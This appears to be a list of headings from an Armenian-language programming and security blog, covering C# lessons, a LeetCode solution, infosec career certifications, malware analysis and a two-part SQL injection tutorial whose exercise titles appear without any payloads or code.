Ծրագրային անվտանգություն՝ SQL Injection (մաս 2)

1) Log in with the administrator's user account.

2) Exfiltrate the entire DB schema definition via SQL Injection.

UNION SELECT Injection

Տվյալների բազաների կառուցվածք

3) Retrieve a list of all user credentials via SQL Injection

Օգտակար հղումներ

Ծրագրային անվտանգություն՝ SQL Injection (մաս 1)

Խոցելիության էությունը

LeetCode 1365. How Many Numbers Are Smaller Than the Current Number

Solution explanation

Complexity

Code

Սովորում ենք C# | Struct և Class

Struct

Կոնստրուկտոր

Class

Ամփոփում

Malware Analysis with .NET and Java

First steps

An alternative way

Second exercise

Սովորում ենք C# | Մեթոդներ, stack և heap, արժեքային և հղումային տիպեր

Ի՞նչ է մեթոդը

Stack և Heap

Ի՞նչ է stack֊ը

Ի՞նչ է heap֊ը

Արժեքային և հղումային տիպեր

Ամփոփում։

Բացահայտում ենք Տեղեկատվական Անվտանգության ոլորտը

Ի՞նչ է Տեղեկատվական Անվտանգությունը

ՏԱ Մասնագիտացումներ

Արդյո՞ք ՏԱ մասնագիտության համար անհրաժեշտ է ծրագրավորման իմացություն

ՏԱ ոլորտի որակավորում

CompTIA հավաստագրեր՝

(ISC)2 հավաստագրեր՝

GIAC հավաստագրեր՝

Offensive Security հավաստագրեր՝

Ամփոփում

Սովորում ենք C# | Զանգվածներ

Բազմաչափ զանգվածներ

Ամփոփում

Սովորում ենք C# | Հրամաններ և դրանց կատարման կարգ

Արտահայտություններ (Expressions)

Հրամաններ (Statements)

Հայտարարման հրամաններ (declaration statements)

Արտահայտությամբ հրամաններ (expression statements)

Ծրագրի կատարման կարգ (Control flow)

Ընտրության հրամաններ (selection statements)

Կրկնության հրամաններ (iteration statements)

Ամփոփում

Սովորում ենք C# | Առաջին քայլեր

Միջավայրի կարգավորում

Առաջին քայլեր՝ տվյալների պահպանում

Գործողություններ տվյալների հետ՝ օպերատորներ

Ամփոփում

Assembling the `docker-compose.yaml` configuration